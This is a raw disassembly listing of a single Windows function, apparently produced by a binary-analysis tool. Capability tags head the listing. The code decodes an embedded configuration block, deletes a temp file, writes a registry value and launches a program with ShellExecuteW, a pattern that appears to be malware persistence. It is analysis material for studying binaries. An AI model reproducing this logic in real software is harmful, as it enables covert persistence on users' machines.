Function at 0x402060
Capabilities:
Create process on windows
Delete file
Get common file path
Set registry value

Disassembly:
sub esp, 0x828
mov eax, dword [0x41704c]
xor eax, esp
mov dword [esp + 0x820], eax
push ebx
push esi
push edi
xor eax, eax
push 0x206
push eax
lea ecx, [esp + 0x422]
push ecx
mov word [esp + 0x424], ax
call fcn.00408090
add esp, 0xc
xor edx, edx
push 0x206
push edx
lea eax, [esp + 0x62a]
push eax
mov word [esp + 0x62c], dx
call fcn.00408090
add esp, 0xc
push 0x200
lea ecx, [esp + 0x1c]
push 0
push ecx
call fcn.00408090
add esp, 0xc
lea edx, [esp + 0x418]
push edx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push 0x414ffc
lea eax, [esp + 0x41c]
push 0x104
push eax
call fcn.00404572
add esp, 0xc
lea ecx, [esp + 0x418]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
call fcn.00402510
cmp dword [0x419580], 1
mov esi, eax
jne 0x402132
test esi, esi
jne 0x402132
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x820]
xor ecx, esp
call fcn.00404563
add esp, 0x828
ret
call fcn.00402910
mov edi, eax
mov eax, 0x2b8e
mov edx, 0x51
mov word [esp + 0x13e], ax
mov dword [esp + 0x18], 0x504d534d
mov word [esp + 0x9c], dx
xor eax, eax
lea ecx, [ecx]
movzx ecx, word [eax + 0x414c8c]
mov word [esp + eax + 0xbe], cx
add eax, 2
test cx, cx
jne 0x402160
xor eax, eax
lea esp, [esp]
movzx ecx, word [eax + 0x414c60]
mov word [esp + eax + 0x1c], cx
add eax, 2
test cx, cx
jne 0x402180
xor eax, eax
jmp 0x4021a0
movzx ecx, word [eax + 0x414c80]
mov word [esp + eax + 0x9e], cx
add eax, 2
test cx, cx
jne 0x4021a0
push 0x419540
lea ecx, [esp + 0x1a4]
push 0x10
mov ebx, 5
push ecx
mov dword [esp + 0x1ec], ebx
call fcn.004045ef
add esp, 0xc
test esi, esi
jne 0x4021e2
test edi, edi
je 0x402258
push 0x4193b0
lea edx, [esp + 0xa2]
push 0x10
push edx
call fcn.004045ef
add esp, 0xc
push 0x419430
lea eax, [esp + 0x20]
push 0x40
push eax
call fcn.004045ef
add esp, 0xc
push 0x4194b8
lea ecx, [esp + 0xc2]
push 0x40
push ecx
call fcn.004045ef
mov ax, word [0x419538]
mov dx, word [0x4194b0]
mov word [esp + 0x14a], ax
mov eax, dword [0x41953c]
add esp, 0xc
mov word [esp + 0x9c], dx
mov dword [esp + 0x1e0], eax
test eax, eax
jne 0x402258
mov dword [esp + 0x1e0], ebx
mov edx, 0x414c8c
lea ecx, [esp + 0xbe]
mov ax, word [ecx]
cmp ax, word [edx]
jne 0x40228a
test ax, ax
je 0x402286
mov ax, word [ecx + 2]
cmp ax, word [edx + 2]
jne 0x40228a
add ecx, 4
add edx, 4
test ax, ax
jne 0x402264
xor eax, eax
jmp 0x40228f
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x4022b7
mov dword [esp + 0x1e0], ebx
xor eax, eax
lea esp, [esp]
movzx ecx, word [eax + 0x414c8c]
mov word [esp + eax + 0xbe], cx
add eax, 2
test cx, cx
jne 0x4022a0
cmp word [esp + 0x1c], 0
je 0x4024ea
cmp word [esp + 0x9c], 0
jbe 0x4024ea
mov eax, 0x419540
mov dword [esp + 0x18], 0x504d534d
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x4022e2
sub eax, edx
sar eax, 1
je 0x402320
push 0x419540
push 0
push 0x20000
call dword [sym.imp.KERNEL32.dll_OpenEventW]
test eax, eax
je 0x402320
push 0x419540
lea ecx, [esp + 0x1a4]
push 0x10
push ecx
call fcn.004045ef
add esp, 0xc
cmp word [esp + 0x1a0], 0
jne 0x402342
push 0x415014
lea edx, [esp + 0x1a4]
push 0x10
push edx
call fcn.004045ef
add esp, 0xc
cmp word [esp + 0x1c0], 0
jne 0x402398
push 0x415020
lea eax, [esp + 0x1c4]
push 0x10
push eax
call fcn.004045ef
mov eax, 0x419560
add esp, 0xc
lea edx, [eax + 2]
lea esp, [esp]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x402370
sub eax, edx
sar eax, 1
je 0x402398
push 0x419560
lea ecx, [esp + 0x1c4]
push 0x10
push ecx
call fcn.004045ef
add esp, 0xc
cmp dword [esp + 0x1e0], 0
mov dword [esp + 0x1e4], 0x100040b
jne 0x4023b4
mov dword [esp + 0x1e0], ebx
cmp dword [esp + 0x18], 0x504d534d
mov ecx, 0x80
lea esi, [esp + 0x18]
lea edi, [esp + 0x218]
rep movsd dword es:[edi], dword [esi]
jne 0x4024ea
xor eax, eax
jmp 0x4023e0
mov dl, byte [esp + eax + 0x218]
not dl
mov byte [esp + eax + 0x218], dl
inc eax
cmp eax, 0x200
jb 0x4023e0
lea esi, [esp + 0x218]
call fcn.00401f90
test eax, eax
je 0x4024ea
lea ebx, [esp + 0x418]
lea edi, [esp + 0x1c0]
call fcn.00402b32
push 0x104
lea eax, [esp + 0x624]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, eax
mov eax, 0x10624dd3
mul ecx
mov eax, edx
shr eax, 6
xor edx, edx
mov ecx, 0x64
div ecx
lea ecx, [esp + 0x620]
mov eax, edx
mov edx, ebx
push edx
push ecx
call fcn.00403096
add esp, 8
lea edx, [esp + 0x10]
push edx
push 3
push 0
push 0x414cc0
push closesocket
mov dword [esp + 0x24], 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x4024cf
mov eax, ebx
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x402490
sub eax, edx
mov edx, dword [esp + 0x10]
sar eax, 1
lea eax, [eax + eax + 2]
push eax
lea ecx, [esp + 0x41c]
push ecx
push 1
push 0
push 0x41502c
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x4024cf
mov eax, dword [esp + 0x10]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 1
push 0
push 0x414c50
lea ecx, [esp + 0x424]
push ecx
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
mov ecx, dword [esp + 0x82c]
pop edi
pop esi
pop ebx
xor ecx, esp
mov eax, 1
call fcn.00404563
add esp, 0x828
ret